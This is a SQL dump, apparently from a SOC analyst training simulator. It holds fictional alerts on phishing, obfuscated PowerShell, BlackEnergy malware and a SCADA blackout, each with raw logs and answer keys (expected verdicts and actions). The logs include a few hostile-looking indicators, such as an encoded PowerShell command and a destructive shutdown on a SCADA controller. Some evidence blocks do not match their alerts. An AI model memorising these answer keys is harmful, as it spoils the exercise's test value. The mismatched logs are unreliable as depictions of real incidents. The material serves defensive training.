(255, 'Unauthorized Database Access Detected', 'high', 'database', 'Suspicious access detected on the corporate database outside of normal hours from an unrecognized IP address.', 'Anomaly Detection', 'T1078: Valid Accounts', 1, 'investigating', 54, '{\"timestamp\":\"2023-10-13T02:17:36Z\",\"event_type\":\"DB_access\",\"user\":\"jdoe\",\"access_time\":\"2023-10-13T02:16:45Z\",\"database\":\"CustomerData\",\"action\":\"SELECT\",\"affected_tables\":[\"customers\",\"orders\"],\"source_ip\":\"192.168.32.201\",\"dest_ip\":\"10.0.0.15\",\"login_status\":\"success\",\"access_method\":\"remote\",\"anomalous_activity\":true,\"notes\":\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\"}', '2025-12-29 05:48:29', '2026-02-14 17:06:55', '{\"correct_verdict\":\"True Positive\",\"triage_answer\":\"Suspicious\",\"containment_answer\":\"Isolate Host\",\"scenario\":{\"ip\":\"216.32.48.90\",\"files\":[{\"name\":\"unknown_tool.ps1\",\"type\":\"script\",\"status\":\"SUSPICIOUS\"}],\"email_subject\":null}}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.851Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-13T02:17:36Z\\\",\\\"event_type\\\":\\\"DB_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"access_time\\\":\\\"2023-10-13T02:16:45Z\\\",\\\"database\\\":\\\"CustomerData\\\",\\\"action\\\":\\\"SELECT\\\",\\\"affected_tables\\\":[\\\"customers\\\",\\\"orders\\\"],\\\"source_ip\\\":\\\"192.168.32.201\\\",\\\"dest_ip\\\":\\\"10.0.0.15\\\",\\\"login_status\\\":\\\"success\\\",\\\"access_method\\\":\\\"remote\\\",\\\"anomalous_activity\\\":true,\\\"notes\\\":\\\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.851Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-13T02:17:36Z\\\",\\\"event_type\\\":\\\"DB_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"access_time\\\":\\\"2023-10-13T02:16:45Z\\\",\\\"database\\\":\\\"CustomerData\\\",\\\"action\\\":\\\"SELECT\\\",\\\"affected_tables\\\":[\\\"customers\\\",\\\"orders\\\"],\\\"source_ip\\\":\\\"192.168.32.201\\\",\\\"dest_ip\\\":\\\"10.0.0.15\\\",\\\"login_status\\\":\\\"success\\\",\\\"access_method\\\":\\\"remote\\\",\\\"anomalous_activity\\\":true,\\\"notes\\\":\\\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.851Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-13T02:17:36Z\\\",\\\"event_type\\\":\\\"DB_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"access_time\\\":\\\"2023-10-13T02:16:45Z\\\",\\\"database\\\":\\\"CustomerData\\\",\\\"action\\\":\\\"SELECT\\\",\\\"affected_tables\\\":[\\\"customers\\\",\\\"orders\\\"],\\\"source_ip\\\":\\\"192.168.32.201\\\",\\\"dest_ip\\\":\\\"10.0.0.15\\\",\\\"login_status\\\":\\\"success\\\",\\\"access_method\\\":\\\"remote\\\",\\\"anomalous_activity\\\":true,\\\"notes\\\":\\\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.851Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-13T02:17:36Z\\\",\\\"event_type\\\":\\\"DB_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"access_time\\\":\\\"2023-10-13T02:16:45Z\\\",\\\"database\\\":\\\"CustomerData\\\",\\\"action\\\":\\\"SELECT\\\",\\\"affected_tables\\\":[\\\"customers\\\",\\\"orders\\\"],\\\"source_ip\\\":\\\"192.168.32.201\\\",\\\"dest_ip\\\":\\\"10.0.0.15\\\",\\\"login_status\\\":\\\"success\\\",\\\"access_method\\\":\\\"remote\\\",\\\"anomalous_activity\\\":true,\\\"notes\\\":\\\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.851Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-13T02:17:36Z\\\",\\\"event_type\\\":\\\"DB_access\\\",\\\"user\\\":\\\"jdoe\\\",\\\"access_time\\\":\\\"2023-10-13T02:16:45Z\\\",\\\"database\\\":\\\"CustomerData\\\",\\\"action\\\":\\\"SELECT\\\",\\\"affected_tables\\\":[\\\"customers\\\",\\\"orders\\\"],\\\"source_ip\\\":\\\"192.168.32.201\\\",\\\"dest_ip\\\":\\\"10.0.0.15\\\",\\\"login_status\\\":\\\"success\\\",\\\"access_method\\\":\\\"remote\\\",\\\"anomalous_activity\\\":true,\\\"notes\\\":\\\"Access outside of normal working hours (9am-6pm) by user accessing database for the first time.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(256, 'Suspicious Email Link Detected', 'medium', 'Email Gateway', 'An email containing a potentially harmful link was detected. The link is known to redirect users to phishing sites previously associated with credential harvesting campaigns.', 'Phishing Attempt', 'T1566.001', 1, 'Closed', 54, '{\"timestamp\":\"2023-10-15T08:54:23Z\",\"email_id\":\"ae56d7f3-8496-439b-9077-41795bdee04b\",\"source_email\":\"alerts@banking-security.com\",\"destination_email\":\"johndoe@example.com\",\"subject\":\"Important: Account Verification Needed\",\"link\":\"http://secure-account-login.com/verify\",\"link_status\":\"Blacklisted\",\"detection_method\":\"URL Reputation Check\",\"actions_taken\":\"Email Quarantine\",\"headers\":{\"Received\":\"by mailserver.example.com with SMTP id abc123456 for johndoe@example.com\",\"From\":\"<alerts@banking-security.com>\",\"To\":\"<johndoe@example.com>\",\"Subject\":\"Important: Account Verification Needed\",\"Date\":\"15 Oct 2023 08:54:21 +0000\"},\"body\":\"Dear customer, your account requires verification. Click the link to secure your account: http://secure-account-login.com/verify\"}', '2025-12-29 05:31:26', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"security@secure-google.ru\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"malicious\",\"details\":\"Sender domain is 3 days old and associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"secure-google.ru\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"53/94 security vendors flagged this domain as malicious.\"}}],\"expected_actions\":[\"block_sender\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\"}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Link Detected\",\"date\":\"2026-02-01T20:32:18.853Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(257, 'Suspicious PowerShell Script Execution Detected', 'medium', 'process', 'A PowerShell script was executed which is commonly used in fileless malware attacks. The script attempted network communication with a known malicious IP.', 'Malicious Script Execution', 'T1059.001', 1, 'Closed', 54, '{\"timestamp\":\"2023-10-24T15:45:32Z\",\"event_id\":\"4674\",\"hostname\":\"DESKTOP-WX321\",\"username\":\"JohnDoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"cmdline\":\"powershell -NoProfile -ExecutionPolicy Bypass -File \\\"C:\\\\Users\\\\JohnDoe\\\\AppData\\\\Local\\\\Temp\\\\script.ps1\\\"\",\"file_hash\":\"3efd49ddfee84548bede1e13c4433b29f1db3f1d9b7f95c42e0b5cda1844afb0\",\"network_communication\":{\"src_ip\":\"192.168.1.10\",\"dest_ip\":\"203.0.113.45\",\"dest_port\":443,\"protocol\":\"HTTPS\"},\"detection_engine\":\"Signature-based\",\"signature_id\":\"POWERSHELL-0012\",\"additional_info\":\"The destination IP is associated with known C2 servers.\"}', '2025-12-29 05:44:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"56.201.107.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 56.201.107.90 reported 310 times for malicious activity. Abuse confidence score: 89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(259, 'Suspicious PowerShell Execution Detected on Internal Host', 'high', 'CrowdStrike', 'A PowerShell script with obfuscated content was executed on an internal host. The script was used to download and execute a known malicious payload.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2023-11-01T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"CORP-WKS-0123\",\"file_hash\":\"3b1f2e1a2f8b9f7c6d4e5b3a2c5d6e7f\",\"domain\":\"malicious-example.com\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -EncodedCommand YABhAHMAaAAgAC0AZQAgACcAMwBiADEAZgAyAGUAMQBhADIAZgA4AGIAOQBmADcAYwA2AGQANABlADUAYgAzAGEAMgBjADUAZABlADcAZgAnAA==\"}', '2025-12-30 01:27:50', '2026-02-01 20:32:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address associated with host CORP-WKS-0123.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malicious content.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b1f2e1a2f8b9f7c6d4e5b3a2c5d6e7f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware samples.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain involved in distributing malware.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of obfuscated PowerShell commands, a malicious file hash, and connections to a known malicious IP and domain confirm this as a malware attack.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(268, 'Phishing Email Detected', 'medium', 'Email Gateway', 'Employees report suspicious emails that appear to be from a trusted partner. Analysis of the email gateway logs reveals a phishing attempt with malicious attachments disguised as urgent documents.', 'Phishing', 'T1566.001', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-08T14:23:45Z\",\"email_id\":\"abc123@example.com\",\"from\":\"partner.support@trustedpartner.com\",\"to\":\"employee@corporate.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"urgent_document.pdf\",\"attachment_hash\":\"3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.45\"}', '2025-12-31 13:10:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"abc123@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Gateway Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual email activity detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware detected in attachment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:18.857Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(269, 'BlackEnergy Malware Execution', 'high', 'EDR', 'After a user opens the malicious attachment, BlackEnergy malware is executed, providing the attackers with a foothold in the network. Endpoint Detection and Response (EDR) alerts on suspicious process activity linked to known malware signatures.', 'Malware', 'T1203: Exploitation for Client Execution', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"987654321\",\"hostname\":\"CORP-ENDPOINT-23\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"malware_name\":\"BlackEnergy\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\invoice.doc\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_name\":\"word.exe\",\"process_id\":4321,\"alert_signature\":\"BlackEnergy Malware Execution\"}', '2025-12-31 13:10:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with BlackEnergy campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known BlackEnergy malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(270, 'Persistence Mechanism Established', 'high', 'EDR', 'The attackers have used BlackEnergy malware to establish persistence on the target system. This was achieved through registry modifications and the creation of scheduled tasks, which were detected as anomalies in system configurations by the EDR.', 'Persistence', 'T1053: Scheduled Task/Job, T1112: Modify Registry', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"persistence\",\"host_ip\":\"10.0.1.15\",\"external_ip\":\"203.0.113.45\",\"process_name\":\"schtasks.exe\",\"user\":\"compromised_user\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\BlackEnergy\",\"scheduled_task\":\"BlackEnergy Task\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\",\"file_hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\"}', '2025-12-31 13:10:04', '2026-02-18 07:24:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_check\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known BlackEnergy variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"File associated with unauthorized persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_user_audit\",\"verdict\":\"suspicious\",\"details\":\"User account used in unauthorized actions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(271, 'Lateral Movement to OT Network', 'high', 'Network Monitoring Solution', 'Network monitoring solutions detect unusual lateral movement between the IT and OT networks, indicating the attackers are attempting to access the SCADA systems controlling the power grid. A suspicious connection attempt from an internal IT network to the OT network was observed using a compromised user account.', 'Lateral Movement', 'T1071.001', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"event_type\":\"connection_attempt\",\"protocol\":\"SMB\",\"file_accessed\":\"\\\\\\\\OT-SERVER\\\\SCADA\\\\config.dat\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"external_attacker_ip\":\"203.0.113.55\",\"connection_status\":\"failed\",\"reason\":\"Unauthorized access attempt detected\"}', '2025-12-31 13:10:04', '2026-02-18 07:26:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address from IT network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address from OT network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised user account attempting lateral movement\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious hash associated with credential dumping tool\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous cyber attacks targeting critical infrastructure\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(272, 'SCADA System Compromise', 'critical', 'SCADA Logs', 'Unauthorized command executions detected on SCADA systems, coinciding with a power outage. The attackers issued commands to disrupt power distribution, leading to a blackout.', 'Execution', 'T0811', 1, 'Closed', 169, '{\"timestamp\":\"2023-10-15T02:45:12Z\",\"system_id\":\"SCADA-CTRL-01\",\"event_type\":\"command_execution\",\"user\":\"unauthorized_user\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.20\",\"command_executed\":\"shutdown -h now\",\"external_attacker_ip\":\"203.0.113.45\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious_script.sh\"}', '2025-12-31 13:10:04', '2026-02-18 07:27:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP involved in previous SCADA attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious script used in SCADA disruptions\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"malicious\",\"details\":\"Script designed to disrupt power distribution systems\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"user audit logs\",\"verdict\":\"suspicious\",\"details\":\"User account used without authorization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.875Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 